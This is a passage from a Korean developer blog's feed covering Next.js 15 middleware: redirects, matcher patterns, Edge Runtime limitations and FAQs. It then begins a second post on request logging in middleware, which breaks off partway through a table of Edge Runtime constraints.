  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clone&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  url&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/blog/&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;match&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;308&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 301 대신 308(Permanent) 권장&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/posts/:id*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;308은 301과 달리 &lt;strong&gt;메서드/바디를 보존&lt;/strong&gt;하기 때문에 POST 엔드포인트 이전 시에도 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;matcher 설정 깊이 파기&lt;/h2&gt;
&lt;p&gt;미들웨어가 &lt;strong&gt;모든 요청&lt;/strong&gt;에 실행되면 정적 에셋, 이미지 최적화 요청까지 거쳐가서 불필요한 지연이 생깁니다. &lt;code class=&quot;language-text&quot;&gt;matcher&lt;/code&gt;로 꼭 필요한 경로만 태웁니다.&lt;/p&gt;
&lt;p&gt;패턴 예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 1) 특정 경로만&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;/dashboard/:path*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 2) 정적 파일/내부 경로 제외 (가장 흔함)&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;/((?!api|_next/static|_next/image|favicon.ico|robots.txt|sitemap.xml).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 3) 헤더 조건까지 조합 (Next 13.5+ 확장 문법)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      source&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/((?!api/).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      has&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; type&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;header&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;x-admin-preview&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;true&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;주의사항:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;matcher는 &lt;strong&gt;빌드 타임 상수&lt;/strong&gt; 여야 합니다. 배열 요소에 변수를 넣지 마세요.&lt;/li&gt;
&lt;li&gt;정규식은 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;path-to-regexp&lt;/code&gt; 문법&lt;/strong&gt;을 따릅니다. 부정 전방탐색 &lt;code class=&quot;language-text&quot;&gt;(?!...)&lt;/code&gt;이 핵심 도구입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Edge Runtime 제약 — 뭘 못 쓰나&lt;/h2&gt;
&lt;p&gt;미들웨어는 기본이 Edge Runtime이라 V8 Isolates 위에서 돕니다. 덕분에 빠르지만 쓸 수 없는 것도 많습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fs&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;path&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;child_process&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;net&lt;/code&gt; 등 &lt;strong&gt;Node 내장 모듈 다수 불가&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;eval&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;new Function&lt;/code&gt; 같은 &lt;strong&gt;동적 코드 평가 금지&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;네이티브 바이너리&lt;/strong&gt;에 의존하는 라이브러리 (예: &lt;code class=&quot;language-text&quot;&gt;bcrypt&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;sharp&lt;/code&gt;) 불가&lt;/li&gt;
&lt;li&gt;파일 시스템 접근이 필요한 ORM 초기화도 불가 (Prisma 엣지 클라이언트는 별도)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;대체재:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;목적&lt;/th&gt;
&lt;th&gt;쓰지 말 것&lt;/th&gt;
&lt;th&gt;쓸 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JWT 서명/검증&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jsonwebtoken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jose&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;해시&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;bcrypt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Web Crypto API&lt;/code&gt; (&lt;code class=&quot;language-text&quot;&gt;crypto.subtle&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UUID&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;uuid&lt;/code&gt; v3&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;로깅 DB 쓰기&lt;/td&gt;
&lt;td&gt;Node drive 직결&lt;/td&gt;
&lt;td&gt;HTTP 기반 logger, Upstash&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Next.js 15.2 이상에서는 &lt;strong&gt;Node.js 런타임 미들웨어&lt;/strong&gt;(&lt;code class=&quot;language-text&quot;&gt;export const config = { runtime: &apos;nodejs&apos; }&lt;/code&gt;)가 실험 기능으로 열려 있습니다. 네이티브 모듈이 꼭 필요하면 고려해볼 수 있지만, Edge의 속도 이점이 사라진다는 점은 감안하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;꼭 알아둘 주의점&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;응답 본문은 수정 불가.&lt;/strong&gt; 미들웨어는 HTML 내용을 바꾸는 도구가 아닙니다. 본문 치환이 필요하면 Route Handler나 Server Component에서 하세요.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;쿠키/헤더 조작은 &lt;code class=&quot;language-text&quot;&gt;NextResponse&lt;/code&gt; 객체에만 적용해야 반영됩니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;req.cookies.set()&lt;/code&gt;은 &lt;strong&gt;서버 내부용&lt;/strong&gt;일 뿐, 브라우저에 Set-Cookie로 나가지 않습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;미들웨어 체이닝은 공식 지원되지 않습니다.&lt;/strong&gt; 한 파일에서 여러 관심사를 함수로 쪼개 호출하는 패턴을 쓰세요.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;실행 시간은 짧게.&lt;/strong&gt; Edge에서 수백 ms를 쓰면 TTFB가 크게 악화됩니다. 무거운 로직은 라우트 핸들러로 넘기세요.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dev 와 prod 매칭이 다를 수 있습니다.&lt;/strong&gt; 배포 전 반드시 &lt;code class=&quot;language-text&quot;&gt;next build &amp;amp;&amp;amp; next start&lt;/code&gt;로 matcher 결과를 확인하세요.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 미들웨어 체이닝이 되나요?&lt;/h3&gt;
&lt;p&gt;공식적으로는 &lt;strong&gt;파일 하나만&lt;/strong&gt; 허용됩니다. 대신 각 관심사(auth, i18n, ab-test)를 함수로 분리해서 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 안에서 순차 호출하는 패턴이 일반적입니다. 커뮤니티 라이브러리로 &lt;code class=&quot;language-text&quot;&gt;next-middleware-chain&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;nextjs-middleware-pipeline&lt;/code&gt; 같은 것도 있지만 의존성이 한 겹 더 생기므로 저는 그냥 함수 합성으로 씁니다.&lt;/p&gt;
&lt;h3&gt;Q2. 성능에 영향이 얼마나 가나요?&lt;/h3&gt;
&lt;p&gt;matcher를 잘 건 경우 &lt;strong&gt;요청당 1~5ms&lt;/strong&gt; 수준입니다. 다만 &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt; 호출(DB, 외부 API)이 들어가면 그 지연이 &lt;strong&gt;모든 페이지 TTFB에 누적&lt;/strong&gt;되기 때문에, 가능하면 동기 로직 + 캐싱된 토큰 검증 정도로 제한하세요.&lt;/p&gt;
&lt;h3&gt;Q3. API 라우트에도 미들웨어가 실행되나요?&lt;/h3&gt;
&lt;p&gt;네, &lt;code class=&quot;language-text&quot;&gt;matcher&lt;/code&gt;에 포함되어 있다면 Route Handler(&lt;code class=&quot;language-text&quot;&gt;app/api/.../route.ts&lt;/code&gt;) 실행 &lt;strong&gt;전에&lt;/strong&gt; 돕니다. 인증/레이트리밋을 API에 걸 때 아주 유용합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;관련 포스팅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/middleware-log/&quot;&gt;Next.js 미들웨어로 공통 로그 남기기 — 로깅 특화&lt;/a&gt; — 본 글이 &quot;미들웨어 자체 사용법&quot;에 집중했다면, 로깅 파이프라인 구축은 이 글에서 다룹니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/building-your-application/routing/middleware&quot;&gt;Next.js 공식 문서 — Middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/api-reference/edge&quot;&gt;Next.js 공식 문서 — Edge Runtime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/api-reference/functions/next-response&quot;&gt;Next.js 공식 문서 — NextResponse API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/panva/jose&quot;&gt;jose — Edge 호환 JWT 라이브러리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/upstash/ratelimit&quot;&gt;Upstash Ratelimit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;여기까지 Next.js 15 미들웨어의 다섯 가지 실전 패턴과 Edge Runtime 제약을 정리했습니다. 인증, i18n, A/B 테스트, rate limit, URL 마이그레이션 — 네 줄짜리 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 하나로 앱 전체의 관문을 제어할 수 있다는 점이 핵심입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;여러분은 미들웨어를 어떤 용도로 가장 많이 쓰시나요?&lt;/strong&gt; 댓글로 공유해주시면, 다른 분들께도 좋은 레퍼런스가 됩니다. 궁금한 점이나 막히는 부분도 편하게 남겨주세요.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Next.js 15 미들웨어 로깅 — Edge Runtime 에서 요청 추적하기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 운영 중인 Next.js 앱에서 "어떤 요청이 어디서 느려지는지" 감이 잡히지 않을 때가 있죠.  는 Vercel 대시보드 어딘가에 흩어지고, 서버 액션과 Route Handler…]]></description><link>https://blog.javapark.kr/middleware-log/</link><guid isPermaLink="false">https://blog.javapark.kr/middleware-log/</guid><pubDate>Fri, 10 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;운영 중인 Next.js 앱에서 &quot;어떤 요청이 어디서 느려지는지&quot; 감이 잡히지 않을 때가 있죠. &lt;code class=&quot;language-text&quot;&gt;console.log&lt;/code&gt; 는 Vercel 대시보드 어딘가에 흩어지고, 서버 액션과 Route Handler 가 섞이면 요청 흐름을 한눈에 보기 힘듭니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — Next.js 15 에서는 &lt;strong&gt;루트의 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 하나&lt;/strong&gt;면 모든 요청 앞단에 로깅 훅을 꽂을 수 있습니다. Edge Runtime 제약만 이해하면 요청 ID 주입, 응답 헤더 태깅, 외부 로그 서비스 전송까지 깔끔하게 통합됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. 2023년 글을 2026년에 다시 쓰는 이유&lt;/h2&gt;
&lt;p&gt;3년 전 이 글의 초판은 &lt;code class=&quot;language-text&quot;&gt;server.js&lt;/code&gt; 에서 Express 미들웨어로 로그를 찍는 구조였습니다. 당시에는 그게 정석이었지만 지금은 상황이 완전히 달라졌습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;Pages Router (구)&lt;/th&gt;
&lt;th&gt;App Router (Next.js 15)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;로깅 진입점&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;server.js&lt;/code&gt; + Express&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; (루트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 환경&lt;/td&gt;
&lt;td&gt;Node.js 서버&lt;/td&gt;
&lt;td&gt;Edge Runtime 기본&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;파일 위치&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;pages/_middleware.ts&lt;/code&gt; (폐기)&lt;/td&gt;
&lt;td&gt;프로젝트 루트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;배포&lt;/td&gt;
&lt;td&gt;커스텀 서버 필요&lt;/td&gt;
&lt;td&gt;Vercel 서버리스/Edge 자동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;관찰 도구&lt;/td&gt;
&lt;td&gt;파일 로그, PM2&lt;/td&gt;
&lt;td&gt;Vercel Log Drains, Sentry, Datadog&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pages/_middleware.ts&lt;/code&gt; 는 &lt;strong&gt;Next.js 12.2 에서 deprecated&lt;/strong&gt; 되었고, 커스텀 &lt;code class=&quot;language-text&quot;&gt;server.js&lt;/code&gt; 를 쓰면 Vercel 의 Edge 최적화를 포기하게 됩니다. 그래서 이제는 루트 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 가 표준입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. 기본 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 뼈대&lt;/h2&gt;
&lt;p&gt;프로젝트 루트 (= &lt;code class=&quot;language-text&quot;&gt;app/&lt;/code&gt; 과 같은 레벨) 에 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 파일 하나만 만들면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; pathname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; search &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; method &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method

  &lt;span class=&quot;token builtin&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;[req] &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;method&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;pathname&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;search&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-response-time&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;Date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; start&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;ms&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// _next 정적 리소스와 favicon 은 제외&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;/((?!_next/static|_next/image|favicon.ico).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심 포인트 세 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;NextRequest&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;NextResponse&lt;/code&gt;&lt;/strong&gt; — Web 표준 &lt;code class=&quot;language-text&quot;&gt;Request&lt;/code&gt; 의 확장체입니다. &lt;code class=&quot;language-text&quot;&gt;request.nextUrl&lt;/code&gt; 로 파싱된 URL 에 접근합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;matcher&lt;/code&gt;&lt;/strong&gt; — 정규식 기반 경로 필터. 정적 자산을 빼야 로그가 폭주하지 않습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edge Runtime 기본&lt;/strong&gt; — 별도 설정 없이 전역 엣지에서 실행됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Edge Runtime 제약 — 먼저 알고 가야 합니다&lt;/h2&gt;
&lt;p&gt;미들웨어는 &lt;strong&gt;기본적으로 Edge Runtime&lt;/strong&gt; 에서 돌아갑니다. Node.js API 를 그대로 쓸 수 없다는 뜻입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;th&gt;Edge Runtime&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;console.log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용 가능 (Vercel 로그로 수집)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;fs&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;path&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;불가&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;process.env&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;빌드 타임에 인라인된 값만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt;&lt;/td&gt;
